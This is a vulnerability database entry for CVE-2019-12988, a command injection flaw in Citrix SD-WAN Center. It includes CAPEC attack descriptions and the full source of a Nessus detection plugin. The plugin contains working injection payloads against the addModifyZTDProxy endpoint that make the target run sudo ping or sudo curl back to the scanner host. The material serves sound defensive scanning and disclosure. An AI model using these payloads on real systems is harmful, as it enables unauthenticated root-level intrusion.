Vulnerabilities > CVE-2019-12988 - OS Command Injection vulnerability in Citrix Netscaler Sd-Wan and Sd-Wan

047910
CVSS 9.8 - CRITICAL
Attack vector
NETWORK
Attack complexity
LOW
Privileges required
NONE
Confidentiality impact
HIGH
Integrity impact
HIGH
Availability impact
HIGH
network
low complexity
citrix
CWE-78
critical
nessus

Summary

Citrix SD-WAN 10.2.x before 10.2.3 and NetScaler SD-WAN 10.0.x before 10.0.8 have Improper Input Validation (issue 4 of 6).

Common Attack Pattern Enumeration and Classification (CAPEC)

  • Command Line Execution through SQL Injection
    An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.
  • Command Delimiters
    An attack of this type exploits a programs' vulnerabilities that allows an attacker's commands to be concatenated onto a legitimate command with the intent of targeting other resources such as the file system or database. The system that uses a filter or a blacklist input validation, as opposed to whitelist validation is vulnerable to an attacker who predicts delimiters (or combinations of delimiters) not present in the filter or blacklist. As with other injection attacks, the attacker uses the command delimiter payload as an entry point to tunnel through the application and activate additional attacks through SQL queries, shell commands, network scanning, and so on.
  • Exploiting Multiple Input Interpretation Layers
    An attacker supplies the target software with input data that contains sequences of special characters designed to bypass input validation logic. This exploit relies on the target making multiples passes over the input data and processing a "layer" of special characters with each pass. In this manner, the attacker can disguise input that would otherwise be rejected as invalid by concealing it with layers of special/escape characters that are stripped off by subsequent processing steps. The goal is to first discover cases where the input validation layer executes before one or more parsing layers. That is, user input may go through the following logic in an application: In such cases, the attacker will need to provide input that will pass through the input validator, but after passing through parser2, will be converted into something that the input validator was supposed to stop.
  • Argument Injection
    An attacker changes the behavior or state of a targeted application through injecting data or command syntax through the targets use of non-validated and non-filtered arguments of exposed services or methods.
  • OS Command Injection
    In this type of an attack, an adversary injects operating system commands into existing application functions. An application that uses untrusted input to build command strings is vulnerable. An adversary can leverage OS command injection in an application to elevate privileges, execute arbitrary commands and compromise the underlying operating system.

Nessus

NASL familyCGI abuses
NASL idCITRIX_SDWAN_CENTER_ADDMODIFYZTDPROXY_CMD_INJECTION.NASL
descriptionThe remote Citrix SD-WAN Center or NetScaler SD-WAN Center is affected by a remote command injection vulnerability due to improper sanitization of user-supplied input in the addModifyZTDProxy action of NmsController. An unauthenticated, remote attacker can exploit this, via a specially crafted HTTP request, to execute arbitrary commands on the remote host with root privileges. Note that Nessus can perform an additional check for this vulnerability. To do so, re-run the scan with the setting
last seen2020-06-01
modified2020-06-02
plugin id130347
published2019-10-29
reporterThis script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.
sourcehttps://www.tenable.com/plugins/nessus/130347
titleCitrix SD-WAN Center and NetScaler SD-WAN Center addModifyZTDProxy Unauthenticated Remote Command Injection
code
#TRUSTED a3662014d4ad81a492a22953b944934890682d7485f8bc23419349ff4eaf4276887817c336409e9c1388ef028f5f564bad17b25c7f29a8319029d9d363bc686e2b08e21c86134137218b43762fb40d60d1d5b59ad05669e1aed71904086cb248e3a3e002adb060576dc494fd971471bca42928987dacfd11b9ec36f949a9b3126f2ac905f12e3af1792163d8710c4983e13718f09651b4ea72a264902bff84226ee8b0cffd40da61707f6886eb4c9106bd188bcdc7a16012ff766069e9a4d2e8056f819d27df43b54d187cd525ce0b451787b7f1f2a98ab4027571a1e78d490fe40a34862f45d90cdd3177b416f9cbb5fa3a9dda7243e28ed579b0082a4ed38200b00701f2014426c59a56f467a96edd769e2c9a8500ccd0fb48b5332ccbc4e0f2532ed0b92a7a78e9723239acd7e87b03c770bf3204bb8fb20a06a8a4daba9b26104297e946a9e5a0d956009185e42a6775daed0302fd9de3a52b645eafbc6ab90cf8cae932d15742101995e870b39a730e12df4d99d17b9acdc7931d8f83f5fef50699e61c73794cd98723f7b3dc10a7a89628a9b4957f1b76a69c12a1f8da7a3cf1c1099b3e3a20fe1354a303eb4d2bb9facba941e200f87cb95f0b20402f5867aa4802ece07fd035979f142e1aacca22dccdb3f363d8fc332f0b6459461ad546be327568cddbace02b495b21d91a952c1b127a3c0a328ebcfc2bdb353d67
#
# (C) Tenable Network Security, Inc.
#

include('compat.inc');

if (description)
{
  script_id(130347);
  script_version("1.4");
  script_cvs_date("Date: 2020/01/16");

  script_cve_id("CVE-2019-12988");
  script_bugtraq_id(109133);
  script_xref(name:"TRA", value:"TRA-2019-31");

  script_name(english:"Citrix SD-WAN Center and NetScaler SD-WAN Center addModifyZTDProxy Unauthenticated Remote Command Injection");
  script_summary(english:"Attempts to execute a command on the remote host.");

  script_set_attribute(attribute:"synopsis", value:
"The remote host is affected by a remote command injection vulnerability.");
  script_set_attribute(attribute:"description", value:
"The remote Citrix SD-WAN Center or NetScaler SD-WAN Center is affected by a remote command injection vulnerability due
to improper sanitization of user-supplied input in the addModifyZTDProxy action of NmsController. An unauthenticated,
remote attacker can exploit this, via a specially crafted HTTP request, to execute arbitrary commands on the remote
host with root privileges.

Note that Nessus can perform an additional check for this vulnerability. To do so, re-run the scan with the setting
'Perform thorough tests (may disrupt your network or impact scan speed)' enabled.");
  script_set_attribute(attribute:"see_also", value:"https://support.citrix.com/article/CTX251987");
  # https://www.tenable.com/blog/multiple-vulnerabilities-found-in-citrix-sd-wan-center-and-sd-wan-appliances
  script_set_attribute(attribute:"see_also", value:"http://www.nessus.org/u?a1b1f9a7");
  script_set_attribute(attribute:"solution", value:
"Upgrade to Citrix SD-WAN Center version 10.2.3 or later or NetScaler SD-WAN Center version 10.0.8 or later.");
  script_set_cvss_base_vector("CVSS2#AV:N/AC:L/Au:N/C:C/I:C/A:C");
  script_set_cvss_temporal_vector("CVSS2#E:POC/RL:OF/RC:C");
  script_set_cvss3_base_vector("CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H");
  script_set_cvss3_temporal_vector("CVSS:3.0/E:P/RL:O/RC:C");
  script_set_attribute(attribute:"cvss_score_source", value:"CVE-2019-12988");

  script_set_attribute(attribute:"exploitability_ease", value:"Exploits are available");
  script_set_attribute(attribute:"exploit_available", value:"true");
  script_set_attribute(attribute:"exploited_by_nessus", value:"true");

  script_set_attribute(attribute:"vuln_publication_date", value:"2019/07/02");
  script_set_attribute(attribute:"patch_publication_date", value:"2019/06/11");
  script_set_attribute(attribute:"plugin_publication_date", value:"2019/10/29");

  script_set_attribute(attribute:"plugin_type", value:"remote");
  script_set_attribute(attribute:"cpe", value:"x-cpe:/a:citrix:sd-wan-center");
  script_end_attributes();

  script_category(ACT_ATTACK);
  script_family(english:"CGI abuses");

  script_copyright(english:"This script is Copyright (C) 2019-2020 and is owned by Tenable, Inc. or an Affiliate thereof.");

  script_dependencies("citrix_sdwan_center_detect.nbin");
  script_require_keys("installed_sw/Citrix SD-WAN Center");
  script_require_ports("Services/www", 80, 443);

  exit(0); 
}

include('audit.inc');
include('global_settings.inc');
include('install_func.inc');
include('misc_func.inc');
include('http.inc');
include('spad_log_func.inc');
include('url_func.inc');

##
# RCE exploitation of the addModifyZTDProxy action in NmsController with an injected ping
#
# @remark Check RCE by suppling a ping command containing specific padding data to the addModifyZTDProxy action in NmsController
#
# @return array containing: a boolean that is true if the SD-WAN center is
# vulnerable as well as information for security report if necessary.
##
function check_ping() {
  var ping_cmd = '$(sudo$IFS/bin/ping$IFS-c2$IFS-p' + pattern + '$IFS$(/bin/echo$IFS-e$IFS\\x3' + compat::this_host() + '))';
  var get_url = url_dir + '?' + get_params_start + ping_cmd;

  var ping_request =
    'GET ' + get_url + ' HTTP/1.1\r\n' +
    'Host: ' + get_host_ip() + '\r\n' +
    'User-Agent: Nessus' + '\r\n' +
    'Accept: */*' + '\r\n' + '\r\n';

  spad_log(message:'Attempting to inject ping with:\n' + ping_request + '\n');

  var soc = open_sock_tcp(port);
  if (!soc)
    audit(AUDIT_SOCK_FAIL, port);

  var filter = 'icmp and icmp[0] = 8 and src host ' + get_host_ip();
  var ping_response = send_capture(socket:soc, data:ping_request, pcap_filter:filter);
  close(soc);

  if (empty_or_null(ping_response))
  {
    spad_log(message:'The ICMP response was empty or null\n');
    return {'vuln':false};
  }

  var icmp_data = toupper(hexstr(get_icmp_element(icmp:ping_response, element:'data')));
  spad_log(message:'Received ping with data: \n' + icmp_data);

  if (empty_or_null(icmp_data) || (pattern >!< icmp_data))
    return {'vuln':false};

  var rep_extra = '\nThe following command was executed on the vulnerable host:\n\n'
    + ping_cmd;
  return {'vuln':true, 'request':make_list(ping_request), 'rep_extra':rep_extra};
}

##
# RCE exploitation of the addModifyZTDProxy action in NmsController with an injected curl
#
# @remark Check RCE by suppling a curl command to the addModifyZTDProxy action in NmsController
#
# @return array containing: a boolean that is true if the SD-WAN center is
# vulnerable as well as information for security report if necessary.
##
function check_curl() {
  # Open TCP socket on server to get back connections from targets
  var bind_result = bind_sock_tcp();

  if (isnull(bind_result))
    audit(AUDIT_SOCK_FAIL, port);

  var bind_sock = bind_result[0];
  var bind_port = bind_result[1];

  spad_log(message:'Attempting exploitation with back connect port: ' + bind_port + '\n');

  var curl_cmd = '$(sudo$IFS/usr/bin/curl$IFS$(/bin/echo$IFS-e$IFS\\x3' + compat::this_host() + ':' + bind_port + '/Nessus' + pattern + '))';
  var get_url = url_dir + '?' + get_params_start + curl_cmd;

  var post_response = http_send_recv3(
    method        : 'GET',
    item          : get_url,
    port          : port);

  var request_sent = http_last_sent_request();

  spad_log(message:'Attempted to inject curl with the following request:\n' + request_sent);

  if (!empty_or_null(post_response))
    spad_log(message:'The POST response was:\n' + post_response + '\n');

  # Listen for HTTP connect back
  var accept_sock = sock_accept(socket:bind_sock, timeout:10);
  if (!accept_sock)
  {
    close(bind_sock);
    spad_log(message:'Did not receive a connect back.\n');
    return {'vuln':false};
  }

  var curl_response = recv(socket:accept_sock, length:1024);

  if (empty_or_null(curl_response))
  {
    close(accept_sock);
    close(bind_sock);
    spad_log(message:'Empty response.\n');
    return {'vuln':false};
  }

  spad_log(message:'Successful connect back, received response: \n' + curl_response);

  close(accept_sock);
  close(bind_sock);

  if ('Nessus' + pattern >!< curl_response)
    return {'vuln':false};

  var rep_extra = '\nSuccessful connect back, received response:\n\n' + curl_response;
  return {'vuln':true, 'request':make_list(request_sent), 'rep_extra':rep_extra};
}

#
# Main
#

app_name = 'Citrix SD-WAN Center';
# Exit if app is not detected on the target host
get_install_count(app_name:app_name, exit_if_zero:TRUE);
port = get_http_port(default:443);

# Exit if app is not detected  on this port
get_single_install(
  app_name : app_name,
  port     : port
);

# Generate a random pattern for the payload to prove the vulnerability
pattern = rand_str(length:8, charset:'0123456789ABCDEF');
spad_log(message:'The pattern for exploit identification is: ' + pattern + '\n');
url_dir =  '/Collector/nms/addModifyZTDProxy';
get_params_start =  'ztd_port=3333&ztd_username=user&ztd_password=';

# Try to inject and detect a ping with the pattern
result = check_ping();

# If the ping injection did not succeed and thorough tests is enabled, try to
# inject curl and listen for an incoming request.
if (!result['vuln'] && thorough_tests)
  result = check_curl();

# If the command injection did not succeed, then audit as not vulnerable.
if (!result['vuln'])
  audit(AUDIT_LISTEN_NOT_VULN, app_name, port);

# Otherwise, a command injection succeeded so report it as vulnerable
security_report_v4(
  port: port,
  severity: SECURITY_HOLE,
  generic: TRUE,
  request: result['request'],
  rep_extra: result['rep_extra']
);